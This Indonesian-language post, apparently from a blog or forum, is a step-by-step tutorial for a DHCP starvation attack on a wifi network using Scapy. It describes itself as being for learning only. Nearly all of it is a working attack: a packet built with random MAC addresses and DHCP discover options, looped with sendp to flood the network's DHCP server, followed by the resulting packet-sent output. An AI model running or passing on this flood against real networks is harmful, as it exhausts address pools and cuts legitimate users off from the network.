]Ni hanya pembelajaran semata ni saya jalankan diarea wifi
pertama jalankan dulu scapy diterminal
sudo scapy
![](http://s15.postimg.org/51kaa3inb/Screenshot_angelo.png)
dan akan menampilkan
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.3.0-dev)
>>>>>>
langkah ke 2
>>>>>>conf.checkIPaddr = False
langkah ke 3
>>>>>> dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="192.168.1.2",dst="255.255.255.255")/UDP(sport=80,dport=80)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
untuk ip diganti dengan ip target
dan mulai attack
>>>>>>>>>>sendp(dhcp_discover, loop=1)
dan nie result nya
>>> sendp(dhcp_discover, loop=1)
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
.......................................................
............................^C
Sent 1349 packets.
![](http://s27.postimg.org/c1fr1o4a7/Screenshot_angelo_1.png)
sekian dari saya smoga berguna